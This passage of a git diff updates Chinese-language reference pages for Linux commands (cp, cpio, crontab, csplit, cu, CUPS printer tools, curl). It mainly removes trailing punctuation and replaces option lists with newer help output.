symbolic links in SOURCE @@ -32,7 +33,7 @@ Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY. --sno-preserve=属性列表 不保留指定的文件属性 --parents 复制前在目标目录创建来源文件路径中的所有目录 -R, -r, --recursive 递归复制目录及其子目录内的所有内容 - --reflink[=WHEN] 控制克隆/CoW 副本。请查看下面的内如。 + --reflink[=WHEN] 控制克隆/CoW 副本。请查看下面的内如 --remove-destination 尝试打开目标文件前先删除已存在的目的地 文件 (相对于 --force 选项) --sparse=WHEN 控制创建稀疏文件的方式 @@ -50,17 +51,15 @@ Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY. file to default type --context[=CTX] like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX - --help 显示此帮助信息并退出 - --version 显示版本信息并退出 默认情况下,源文件的稀疏性仅仅通过简单的方法判断,对应的目标文件目标文件也 被为稀疏。这是因为默认情况下使用了--sparse=auto 参数。如果明确使用 --sparse=always 参数则不论源文件是否包含足够长的0 序列也将目标文件创文 -建为稀疏件。 -使用--sparse=never 参数禁止创建稀疏文件。 +建为稀疏件 +使用--sparse=never 参数禁止创建稀疏文件 当指定了--reflink[=always] 参数时执行轻量化的复制,即只在数据块被修改的 -情况下才复制。如果复制失败或者同时指定了--reflink=auto,则返回标准复制模式。 +情况下才复制。如果复制失败或者同时指定了--reflink=auto,则返回标准复制模式 The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX. The version control method may be selected via the --backup option or through @@ -72,16 +71,16 @@ the VERSION_CONTROL environment variable. Here are the values: simple, never 永远使用普通方式备份 有一个特别情况:如果同时指定--force 和--backup 选项,而源文件和目标文件 -是同一个已存在的一般文件的话,cp 会将源文件备份。 +是同一个已存在的一般文件的话,cp 会将源文件备份 -* 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用`-R`选项; -* 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。 +* 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用`-R`选项 +* 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录 ``` ## 实例 ```bash -# 所有目标文件指定的目录必须是己经存在的,cp命令不能创建目录。如果没有文件复制的权限,则系统会显示出错信息。 +# 所有目标文件指定的目录必须是己经存在的,cp命令不能创建目录。如果没有文件复制的权限,则系统会显示出错信息 cp -ruv /usr/men/tmp ~/men/tmp # 只拷贝新的文件到我的存储设备上,就用cp的“u更新”和“v详细”选项 cp --force --backup=numbered test1.py test1.py # --backup=numbered参数表示做带编号的连续备份,第一个备份就是1号,第二个就是2号 cp file /usr/men/tmp/file1 # 将文件file复制到目录`/usr/men/tmp`下,并改名为file1 diff --git a/Linux_man_cn/cpio.md b/Linux_man_cn/cpio.md index e16fe94..a70a1b7 100644 --- a/Linux_man_cn/cpio.md +++ b/Linux_man_cn/cpio.md @@ -1,95 +1,123 @@ -cpio -=== - -用来建立、还原备份档的工具程序 +# cpio ## 说明 -**cpio命令** 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。 - -### 语法 - -``` -cpio(选项) -``` - - - -``` --0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用; --a或--rest-access-time:重新设置文件的存取时间; --A或--append:附加到已存在的备份文档中,且这个备份文档必须存放在磁盘上,而不能放置于磁带机里; --b或--awap:此参数的效果和同时指定“-ss”参数相同; --B:将输入/输出的区块大小改成5210Bytes; --c:使用旧ASCII备份格式; --C<区块大小>或--io-size=<区块大小>:设置输入/输出的区块大小,单位是Byte; --d或--make-directories:如有需要cpio会自行建立目录; --E<范本文件>或--pattern-file=<范本文件>:指定范本文件,其内含有一个或多个范本样式,让cpio解开符合范本条件的文件,格式为每列一个范本样式; --f或--nonmatching:让cpio解开所有不符合范本条件的文件; --F<备份档>或--file=<备份档>:指定备份档的名称,用来取代标准输入或输出,也能借此通过网络使用另一台主机的保存设备存取备份档; --H<备份格式>:指定备份时欲使用的文件格式; --i或--extract:执行copy-in模式,还原备份档; --l<备份档>:指定备份档的名称,用来取代标准输入,也能借此通过网络使用另一台主机的保存设备读取备份档; --k:此参数将忽略不予处理,仅负责解决cpio不同版本间的兼容性问题; --l或--link:以硬连接的方式取代复制文件,可在copy-pass模式下运用; --L或--dereference:不建立符号连接,直接复制该连接所指向的原始文件; --m或preserve-modification-time:不去更改文件的更改时间; --M<回传信息>或--message=<回传信息>:设置更换保存媒体的信息; --n或--numeric-uid-gid:使用“-tv”参数列出备份档的内容时,若再加上参数“-n”,则会以用户识别和群组识别码替代拥有者和群组名称列出文件清单; --o或--create:执行copy-out模式,建立备份档; --O<备份档>:指定备份档的名称,用来取代标准输出,也能借此通过网络使用另一台主机的保存设备存放备份档; --p或--pass-through:执行copy-pass模式,略过备份步骤,直接将文件复制到目的目录; --r或--rename:当有文件名称需要更改时,采用互动模式; --R<拥有者><:/.><所属群组>或----owner<拥有者><:/.><所属群组> 在copy-in模式还原备份档,或copy-pass模式复制文件时,可指定这些备份,复制的文件的拥有者与所属群组; --s或--swap-bytes:交换每队字节的内容; --S或--swap-halfwords:交换每半个字节的内容; --t或--list:将输入的内容呈现出来; --u或--unconditional:置换所有文件,不论日期时间的新旧与否,皆不予询问而直接覆盖; --v或--verbose:详细显示指令的执行过程; --V或--dot:执行指令时。在每个文件的执行程序前面加上“.”号; ---block-size=<区块大小>:设置输入/输出的区块大小,假如设置数值为5,则区块大小为2500,若设置成10,则区块大小为5120,以此类推; ---force-local:强制将备份档存放在本地主机; ---help:在线帮助; ---no-absolute-filenames:使用相对路径建立文件名称; ---no-preserve-owner:不保留文件的拥有者,谁解开了备份档,那些文件就归谁所有; --only-verify-crc:当备份档采用CRC备份格式时,可使用这项参数检查备份档内的每个文件是否正确无误; ---quiet:不显示复制了多少区块; ---sparse:倘若一个文件内含有大量的连续0字节,则将此文件存在稀疏文件; ---version:显示版本信息。 -``` - -### 实例 - - **将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:** +**cpio命令** 将归档文件及从包中提取文件,cpio命令可以复制文件到归档包中,或者从归档包中复制文件 + +## 选项 + +```markdown +cpio [OPTION...] [目标目录] + + 主操作模式 + -i, --extract 从包中提取文件 (运行 copy-in 模式) + -o, --create 创建包 (运行 copy-out 模式) + -p, --pass-through 运行 copy-pass 模式 + -t, --list 打印输入内容列表 + + 应用于所有模式的选项: + + --block-size=BLOCK-SIZE 设置 I/O 块大小为 BLOCK-SIZE * 512 + 字节 + -B 设置 I/O 块大小为 5120 字节 + -c Identical to "-H newc", use the new (SVR4) + portable format.If you wish the old portable + (ASCII) archive format, use "-H odc" instead. + -C, --io-size=NUMBER 设置 I/O 块大小为指定的 NUMBER 字节 + --force-local + 包文件是本地的,尽管名字中含有冒号 + -f, --nonmatching 仅拷贝不匹配任意给定的模式的文件 + -F, --file=[[用户@]主机:]文件名 + 用“文件名”来替代标准输入和输出。如果是非本地的文件,则用可选的“用户”和“主机”来指定用户名和主机名 + -H, --format=格式 使用指定的包格式 + -M, --message=STRING 当到达备份介质的尾部的时候打印 + STRING + -n, --numeric-uid-gid 在内容列表的详表中,显示数字的 UID + 和 GID + --quiet 不要打印已拷贝的块数 + --rsh-command=COMMAND 用 COMMAND 替代 rsh + -v, --verbose 详细列出已处理的文件 + -V, --dot 每处理一个文件就打印一个“.” + -W, --warning=FLAG 控制警告信息显示。当前 FLAG + 可为“none”、“truncate”或“all”。多个选项可以累积 + + 命令修饰仅在 copy-in 模式中有效: + + -b, --swap + 交换数据中每个字的两个半字以及每个半字中的两个字节。等价于 + -sS + -r, --rename 交互式重命名文件 + -s, --swap-bytes 交换文件中每个半字中的两个字节 + -S, --swap-halfwords + 交换文件中每个字(4个字节)中的两个半字 + --to-stdout 提取文件到标准输出 + + -E, --pattern-file=FILE 从 FILE + 中读取额外的用于指定提取或列表的文件名的模式 + --only-verify-crc When reading a CRC format archive, only verify the + checksum of each file in the archive, don't + actually extract the files + + 应用于 copy-out 模式的选项 + + -A, --append 追加到已存在的归档文件 + --device-independent, --reproducible + Create device-independent (reproducible) archives + --ignore-devno Don't store device numbers + -O [[用户@]主机:]文件名 + 使用包文件名而不是标准输出。如果文件在远程机器上,则可指定用户和主机 + --renumber-inodes Renumber inodes + + 应用于 copy-pass 模式的选项: + + -l, --link 在可行时链接文件而不是拷贝文件 + + 应用于 copy-in 及 copy-out 模式的选项: + + --absolute-filenames 文件名不去除文件系统前缀 + --no-absolute-filenames 相对于当前目录来创建所有文件 + + 应用于 copy-out 及 copy-pass 模式的选项: + +-0, --null 文件名列表采用 NULL + 而不是换行作为分割符 +-a, --reset-access-time 文件读取后恢复文件的访问时间 +-I [[用户@]主机:]文件名 + 从文件读入而不是从标准输入读入 + 如果文件在远程机器上 + 则可指定用户和主机 +-L, --dereference 跟随符号链接 + (拷贝符号链接指向的文件而不是拷贝链接本身) +-R, --owner=[用户][:.][组] + 设置所有文件的所有权信息到指定的用户和/或组 + +应用于 copy-in 和 copy-pass 模式的选项: +-d, --make-directories 需要时创建目录 +-m, --preserve-modification-time + 创建文件时保留以前文件的修改时间 + --no-preserve-owner 不改变文件的所有权 + --sparse + 把含有大块零的文件以稀疏文件方式写出 +-u, --unconditional 无条件覆盖所有文件 ``` -find /etc –type f | cpio –ocvB >/opt/etc.cpio -``` - - **将系统上所有资料备份到磁带机内,使用以下命令:** - -``` -find / -print | cpio -covB > /dev/st0 -``` - -这里的`/dev/st0`是磁带的设备名,代表SCSI磁带机。 - - **查看上例磁带机上备份的文件,使用以下命令:** - -``` -cpio -icdvt < /dev/st0 > /tmp/st_content -``` - -有时可能因为备份的文件过多,一个屏幕无法显示完毕,此时我们利用下面命令,让磁带机的文件信息输出到文件。 - - **将示例1中的备份包还原到相应的位置,如果有相同文件进行覆盖,使用以下命令:** - -``` -cpio –icduv < /opt/etc.cpio -``` - -注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下。 -通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。 +## 实例 + +```bash +cpio -o name-list > archive # 归档 name-list 中的文件到 archive +cpio -i < archive # 从 archive 中提取文件 +cpio -p destination-directory < name-list # 拷贝 name-list 中的文件到目标目录(destination-directory) +find / -print | cpio -covB > /dev/st0 # 将系统上所有资料备份到磁带机内,/dev/st0是磁带的设备名,代表SCSI磁带机 +cpio -icdvt < /dev/st0 > /tmp/st_content # 查看上例磁带机上备份的文件 + +find /etc -type f | cpio -ocvB >/opt/etc.cpio # 将/etc下的所有普通文件都备份到/opt/etc.cpio +cpio -icduv < /opt/etc.cpio # 备份包etc.cpio还原到相应的位置,如果有相同文件进行覆盖 +: << comment +注意,cpio恢复的路径,如果cpio在打包备份的时候用的是绝对路径,那么在恢复的时候会自动恢复到这些绝对路径下,本例就会将备份文件全部还原 +到/etc路径下对应的目录中。同理,如果在打包备份用的是相对路径,还原时也将恢复到相对路径下 +示例可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般 +和find命令配合使用 +comment diff --git a/Linux_man_cn/crontab.md b/Linux_man_cn/crontab.md index a4a750b..a7f6b37 100644 --- a/Linux_man_cn/crontab.md +++ b/Linux_man_cn/crontab.md @@ -61,7 +61,7 @@ MAILTO=""HOME=/ /etc/cron.allow 该文件中所列用户允许使用crontab命令 /var/spool/cron/ 所有用户crontab文件存放的目录,以用户名命名 -crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段, +crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段 前五段是时间设定段,第六段是要执行的命令段,格式如下: minute hour day month week command 顺序:分 时 日 月 周 ``` diff --git a/Linux_man_cn/csplit.md b/Linux_man_cn/csplit.md index fc0d2e7..7e4934e 100644 --- a/Linux_man_cn/csplit.md +++ b/Linux_man_cn/csplit.md @@ -5,9 +5,9 @@ csplit ## 说明 -**csplit命令** 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。 +**csplit命令** 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件 -### 语法 +## 选项 ``` csplit(选项)(参数) @@ -16,20 +16,20 @@ csplit(选项)(参数) ``` --b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名; +-b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名 -f<输出字首字符串>或--prefix=<输出字首字符串>:预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01...... --k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件; --n<输出文件名位数>或--digits=<输出文件名位数>:预设的输出文件名位数其文件名称为xx00,xx01......如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等; --q或-s或--quiet或——silent:不显示指令执行过程; --z或--elide-empty-files:删除长度为0 Byte文件。 +-k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件 +-n<输出文件名位数>或--digits=<输出文件名位数>:预设的输出文件名位数其文件名称为xx00,xx01......如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等 +-q或-s或--quiet或——silent:不显示指令执行过程 +-z或--elide-empty-files:删除长度为0 Byte文件 ``` ### 参数 -* 文件:指定要分割的原文件; -* 模式:指定要分割文件时的匹配模式。 +* 文件:指定要分割的原文件 +* 模式:指定要分割文件时的匹配模式 -### 实例 +## 实例 示例测试文件 server.log @@ -63,13 +63,13 @@ server01.log server02.log server03.log server.log **命令详细说明:** ``` -/[正则表达式]/ #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。 -{*} #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。 --s #静默模式,不打印其他信息。 --n #指定分割后的文件名后缀的数字个数。比如01、02、03等。 --f #指定分割后的文件名前缀。 --b #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。 -rm server00.log #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中。 +/[正则表达式]/ #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行 +{*} #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数 +-s #静默模式,不打印其他信息 +-n #指定分割后的文件名后缀的数字个数。比如01、02、03等 +-f #指定分割后的文件名前缀 +-b #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式 +rm server00.log #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中 ``` diff --git a/Linux_man_cn/cu.md b/Linux_man_cn/cu.md index db676f7..a36c27c 100644 --- a/Linux_man_cn/cu.md +++ b/Linux_man_cn/cu.md @@ -1,13 +1,13 @@ cu === -用于连接另一个系统主机。 +用于连接另一个系统主机 ## 说明 -**cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。 +**cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业 -### 语法 +## 选项 ``` cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>] @@ -17,27 +17,27 @@ cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文 ``` --a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。 --c<电话号码>或--phone<电话号码> 拨打该电话号码。 --d 进入排错模式。 --e或--parity=even 使用双同位检查。 --E<脱离字符>或--escape<脱离字符> 设置脱离字符。 --h或--halfduple 使用半双工模式。 --I<配置文件>或--config<配置文件> 指定要使用的配置文件。 --l<外围设备代号>或--line<外围设备代号> 指定某项外围设备,作为连接的设备。 --n或--prompt 拨号时等待用户输入电话号码。 --o或--parity=odd 使用单同位检查。 --s<连线速率>或--speed<连线速率>或--baud<连线速率>或-<连线速率> 设置连线的速率,单位以鲍率计算。 --t或--maper 把CR字符置换成LF+CR字符。 --v或--version 显示版本信息。 --x<排错模式>或--debug<排错模式> 使用排错模式。 --z<系统主机>或--system<系统主机> 连接该系统主机。 ---help 在线帮助。 ---nostop 关闭Xon/Xoff软件流量控制。 ---parity=none 不使用同位检查。 +-a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线 +-c<电话号码>或--phone<电话号码> 拨打该电话号码 +-d 进入排错模式 +-e或--parity=even 使用双同位检查 +-E<脱离字符>或--escape<脱离字符> 设置脱离字符 +-h或--halfduple 使用半双工模式 +-I<配置文件>或--config<配置文件> 指定要使用的配置文件 +-l<外围设备代号>或--line<外围设备代号> 指定某项外围设备,作为连接的设备 +-n或--prompt 拨号时等待用户输入电话号码 +-o或--parity=odd 使用单同位检查 +-s<连线速率>或--speed<连线速率>或--baud<连线速率>或-<连线速率> 设置连线的速率,单位以鲍率计算 +-t或--maper 把CR字符置换成LF+CR字符 +-v或--version 显示版本信息 +-x<排错模式>或--debug<排错模式> 使用排错模式 +-z<系统主机>或--system<系统主机> 连接该系统主机 +--help 在线帮助 +--nostop 关闭Xon/Xoff软件流量控制 +--parity=none 不使用同位检查 ``` -### 实例 +## 实例 与远程主机连接 diff --git a/Linux_man_cn/cupsdisable.md b/Linux_man_cn/cupsdisable.md index a9749ad..22847ca 100644 --- a/Linux_man_cn/cupsdisable.md +++ b/Linux_man_cn/cupsdisable.md @@ -5,9 +5,9 @@ cupsdisable ## 说明 -**cupsdisable命令** 用于停止指定的打印机。 +**cupsdisable命令** 用于停止指定的打印机 -### 语法 +## 选项 ``` cupsdisable(选项)(参数) @@ -16,16 +16,16 @@ cupsdisable(选项)(参数) ``` --E:当连接到服务器时强制使用加密; --U:指定连接服务器时使用的用户名; --u:指定打印任务所属的用户; --c:取消指定打印机的所有打印任务; --h:指定连接的服务器名和端口号; --r:停止打印机的原因。 +-E:当连接到服务器时强制使用加密 +-U:指定连接服务器时使用的用户名 +-u:指定打印任务所属的用户 +-c:取消指定打印机的所有打印任务 +-h:指定连接的服务器名和端口号 +-r:停止打印机的原因 ``` ### 参数 -目标:指定目标打印机。 +目标:指定目标打印机 diff --git a/Linux_man_cn/cupsenable.md b/Linux_man_cn/cupsenable.md index 4fbaad1..72c91f6 100644 --- a/Linux_man_cn/cupsenable.md +++ b/Linux_man_cn/cupsenable.md @@ -5,9 +5,9 @@ cupsenable ## 说明 -**cupsenable命令** 用于启动指定的打印机。 +**cupsenable命令** 用于启动指定的打印机 -### 语法 +## 选项 ``` cupsenable(选项)(参数) @@ -16,14 +16,14 @@ cupsenable(选项)(参数) ``` --E:当连接到服务器时强制使用加密; --U:指定连接服务器时使用的用户名; --u:指定打印任务所属的用户; --h:指定连接的服务器名和端口号; +-E:当连接到服务器时强制使用加密 +-U:指定连接服务器时使用的用户名 +-u:指定打印任务所属的用户 +-h:指定连接的服务器名和端口号 ``` ### 参数 -目标:指定目标打印机。 +目标:指定目标打印机 diff --git a/Linux_man_cn/curl.md b/Linux_man_cn/curl.md index f7ce92f..4415300 100644 --- a/Linux_man_cn/curl.md +++ b/Linux_man_cn/curl.md @@ -11,220 +11,190 @@ curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、 ## 选项 ```markdown --a/--append 上传文件时,附加到目标文件 --A/--user-agent 设置用户代理发送给服务器 --anyauth 可以使用“任何”身份验证方法 --b/--cookie cookie字符串或文件读取位置 - --basic 使用HTTP基本验证 --B/--use-ascii 使用ASCII /文本传输 --c/--cookie-jar 操作结束后把cookie写入到这个文件中 --C/--continue-at 断点续传 --d/--data HTTP POST方式传送数据 - --data-ascii 以ascii的方式post数据 - --data-binary 以二进制的方式post数据 - --negotiate 使用HTTP身份验证 - --digest 使用数字身份验证 - --disable-eprt 禁止使用EPRT或LPRT - --disable-epsv 禁止使用EPSV --D/--dump-header 把header信息写入到该文件中 - --egd-file 为随机数据(SSL)设置EGD socket路径 - --tcp-nodelay 使用TCP_NODELAY选项 --e/--referer 来源网址 --E/--cert 客户端证书文件和密码 (SSL) - --cert-type 证书文件类型 (DER/PEM/ENG) (SSL) - --key 私钥文件名 (SSL) - --key-type 私钥文件类型 (DER/PEM/ENG) (SSL) - --pass 私钥密码 (SSL) - --engine 加密引擎使用 (SSL). "--engine list" for list - --cacert CA证书 (SSL) - --capath CA目录 (made using c_rehash) to verify peer against (SSL) - --ciphers SSL密码 - --compressed 要求返回是压缩的形势 (using deflate or gzip) - --connect-timeout 设置最大请求时间 - --create-dirs 建立本地目录的目录层次结构 - --crlf 上传是把LF转变成CRLF --f/--fail 连接失败时不显示http错误 - --ftp-create-dirs 如果远程目录不存在,创建远程目录 - --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用 - --ftp-pasv 使用 PASV/EPSV 代替端口 - --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址 - --ftp-ssl 尝试用 SSL/TLS 来进行ftp数据传输 - --ftp-ssl-reqd 要求用 SSL/TLS 来进行ftp数据传输 --F/--form 模拟http表单提交数据 - --form-string 模拟http表单提交数据 --g/--globoff 禁用网址序列和范围使用{}和[] --G/--get 以get的方式来发送数据 --H/--header 自定义头信息传递给服务器 - --ignore-content-length 忽略的HTTP头信息的长度 --i/--include 输出时包括protocol头信息 --I/--head 只显示请求头信息 --j/--junk-session-cookies 读取文件进忽略session cookie - --interface 使用指定网络接口/地址 - --krb4 使用指定安全级别的krb4 --k/--insecure 允许不使用证书到SSL站点 --K/--config 指定的配置文件读取 --l/--list-only 列出ftp目录下的文件名称 - --limit-rate 设置传输速度 - --local-port 强制使用本地端口号 --m/--max-time 设置最大传输时间 - --max-redirs 设置最大读取的目录数 - --max-filesize 设置最大下载的文件总量 --M/--manual 显示全手动 --n/--netrc 从netrc文件中读取用户名和密码 - --netrc-optional 使用 .netrc 或者 URL来覆盖-n - --ntlm 使用 HTTP NTLM 身份验证 --N/--no-buffer 禁用缓冲输出 --o/--output 把输出写到该文件中 --O/--remote-name 把输出写到该文件中,保留远程文件的文件名 --p/--proxytunnel 使用HTTP代理 - --proxy-anyauth 选择任一代理身份验证方法 - --proxy-basic 在代理上使用基本身份验证 - --proxy-digest 在代理上使用数字身份验证 - --proxy-ntlm 在代理上使用ntlm身份验证 --P/--ftp-port 使用端口地址,而不是使用PASV --q 作为第一个参数,关闭 .curlrc --Q/--quote 文件传输前,发送命令到服务器 --r/--range 检索来自HTTP/1.1或FTP服务器字节范围 ---range-file 读取(SSL)的随机文件 --R/--remote-time 在本地生成文件时,保留远程文件时间 - --retry 传输出现问题时,重试的次数 - --retry-delay 传输出现问题时,设置重试间隔时间 - --retry-max-time 传输出现问题时,设置最大重试时间 --s/--silent 静默模式。不输出任何东西 --S/--show-error 显示错误 - --socks4 用socks4代理给定主机和端口 - --socks5 用socks5代理给定主机和端口 - --stderr --t/--telnet-option Telnet选项设置 - --trace 对指定文件进行debug - --trace-ascii Like --跟踪但没有hex输出 - --trace-time 跟踪/详细输出时,添加时间戳 --T/--upload-file 上传文件 - --url Spet URL to work with --u/--user 设置服务器的用户和密码 --U/--proxy-user 设置代理用户名和密码 --w/--write-out [format] 什么输出完成后 --x/--proxy 在给定的端口上使用HTTP代理 --X/--request 指定什么命令 --y/--speed-time 放弃限速所要的时间,默认为30 --Y/--speed-limit 停止传输速度的限制,速度时间 +(H) means HTTP/HTTPS only, (F) means FTP only + + --anyauth Pick "any" authentication method (H) +-a, --append Append to target file when uploading (F/SFTP) + --basic Use HTTP Basic Authentication (H) + --cacert FILE CA certificate to verify peer against (SSL) + --capath DIR CA directory to verify peer against (SSL) +-E, --cert CERT[:PASSWD] Client certificate file and password (SSL) + --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) + --ciphers LIST SSL ciphers to use (SSL) + --compressed Request compressed response (using deflate or gzip) +-K, --config FILE Specify which config file to read + --connect-timeout SECONDS Maximum time allowed for connection +-C, --continue-at OFFSET Resumed transfer offset +-b, --cookie STRING/FILE String or file to read cookies from (H) +-c, --cookie-jar FILE Write cookies to this file after operation (H) + --create-dirs Create necessary local directory hierarchy + --crlf Convert LF to CRLF in upload + --crlfile FILE Get a CRL list in PEM format from the given file +-d, --data DATA HTTP POST data (H) + --data-ascii DATA HTTP POST ASCII data (H) + --data-binary DATA HTTP POST binary data (H) + --data-urlencode DATA HTTP POST data url encoded (H) + --delegation STRING GSS-API delegation permission + --digest Use HTTP Digest Authentication (H) + --disable-eprt Inhibit using EPRT or LPRT (F) + --disable-epsv Inhibit using EPSV (F) +-D, --dump-header FILE Write the headers to this file + --egd-file FILE EGD socket path for random data (SSL) + --engine ENGINGE Crypto engine (SSL). "--engine list" for list +-f, --fail Fail silently (no output at all) on HTTP errors (H) +-F, --form CONTENT Specify HTTP multipart POST data (H) + --form-string STRING Specify HTTP multipart POST data (H) + --ftp-account DATA Account data string (F) + --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) + --ftp-create-dirs Create the remote dirs if not present (F) + --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) + --ftp-pasv Use PASV/EPSV instead of PORT (F) +-P, --ftp-port ADR Use PORT with given address instead of PASV (F) + --ftp-skip-pasv-ip Skip the IP address for PASV (F) + --ftp-pret Send PRET before PASV (for drftpd) (F) + --ftp-ssl-ccc Send CCC after authenticating (F) + --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) + --ftp-ssl-control Require SSL/TLS for ftp login, clear for transfer (F) +-G, --get Send the -d data with a HTTP GET (H) +-g, --globoff Disable URL sequences and ranges using {} and [] +-H, --header LINE Custom header to pass to server (H) +-I, --head Show document info only +-h, --help This help text + --hostpubmd5 MD5 Hex encoded MD5 string of the host public key. (SSH) +-0, --http1.0 Use HTTP 1.0 (H) + --ignore-content-length Ignore the HTTP Content-Length header +-i, --include Include protocol headers in the output (H/F) +-k, --insecure Allow connections to SSL sites without certs (H) + --interface INTERFACE Specify network interface/address to use +-4, --ipv4 Resolve name to IPv4 address +-6, --ipv6 Resolve name to IPv6 address +-j, --junk-session-cookies Ignore session cookies read from file (H) + --keepalive-time SECONDS Interval between keepalive probes + --key KEY Private key file name (SSL/SSH) + --key-type TYPE Private key file type (DER/PEM/ENG) (SSL) + --krb LEVEL Enable Kerberos with specified security level (F) + --libcurl FILE Dump libcurl equivalent code of this command line + --limit-rate RATE Limit transfer speed to this rate +-l, --list-only List only names of an FTP directory (F) + --local-port RANGE Force use of these local port numbers +-L, --location Follow redirects (H) + --location-trusted like --location and send auth to other hosts (H) +-M, --manual Display the full manual + --mail-from FROM Mail from this address + --mail-rcpt TO Mail to this receiver(s) + --mail-auth AUTH Originator address of the original email + --max-filesize BYTES Maximum file size to download (H/F) + --max-redirs NUM Maximum number of redirects allowed (H) +-m, --max-time SECONDS Maximum time allowed for the transfer + --metalink Process given URLs as metalink XML file + --negotiate Use HTTP Negotiate Authentication (H) +-n, --netrc Must read .netrc for user name and password + --netrc-optional Use either .netrc or URL; overrides -n + --netrc-file FILE Set up the netrc filename to use +-N, --no-buffer Disable buffering of the output stream + --no-keepalive Disable keepalive use on the connection + --no-sessionid Disable SSL session-ID reusing (SSL) + --noproxy List of hosts which do not use proxy + --ntlm Use HTTP NTLM authentication (H) +-o, --output FILE Write output to instead of stdout + --pass PASS Pass phrase for the private key (SSL/SSH) + --post301 Do not switch to GET after following a 301 redirect (H) + --post302 Do not switch to GET after following a 302 redirect (H) + --post303 Do not switch to GET after following a 303 redirect (H) +-#, --progress-bar Display transfer progress as a progress bar + --proto PROTOCOLS Enable/disable specified protocols + --proto-redir PROTOCOLS Enable/disable specified protocols on redirect +-x, --proxy [PROTOCOL://]HOST[:PORT] Use proxy on given port + --proxy-anyauth Pick "any" proxy authentication method (H) + --proxy-basic Use Basic authentication on the proxy (H) + --proxy-digest Use Digest authentication on the proxy (H) + --proxy-negotiate Use Negotiate authentication on the proxy (H) + --proxy-ntlm Use NTLM authentication on the proxy (H) +-U, --proxy-user USER[:PASSWORD] Proxy user and password + --proxy1.0 HOST[:PORT] Use HTTP/1.0 proxy on given port +-p, --proxytunnel Operate through a HTTP proxy tunnel (using CONNECT) + --pubkey KEY Public key file name (SSH) +-Q, --quote CMD Send command(s) to server before transfer (F/SFTP) + --random-file FILE File for reading random data from (SSL) +-r, --range RANGE Retrieve only the bytes within a range + --raw Do HTTP "raw", without any transfer decoding (H) +-e, --referer Referer URL (H) +-J, --remote-header-name Use the header-provided filename (H) +-O, --remote-name Write output to a file named as the remote file + --remote-name-all Use the remote file name for all URLs +-R, --remote-time Set the remote file's time on the local output +-X, --request COMMAND Specify request command to use + --resolve HOST:PORT:ADDRESS Force resolve of HOST:PORT to ADDRESS + --retry NUM Retry request NUM times if transient problems occur + --retry-delay SECONDS When retrying, wait this many seconds between each + --retry-max-time SECONDS Retry only within this period +-S, --show-error Show error. With -s, make curl show errors when they occur +-s, 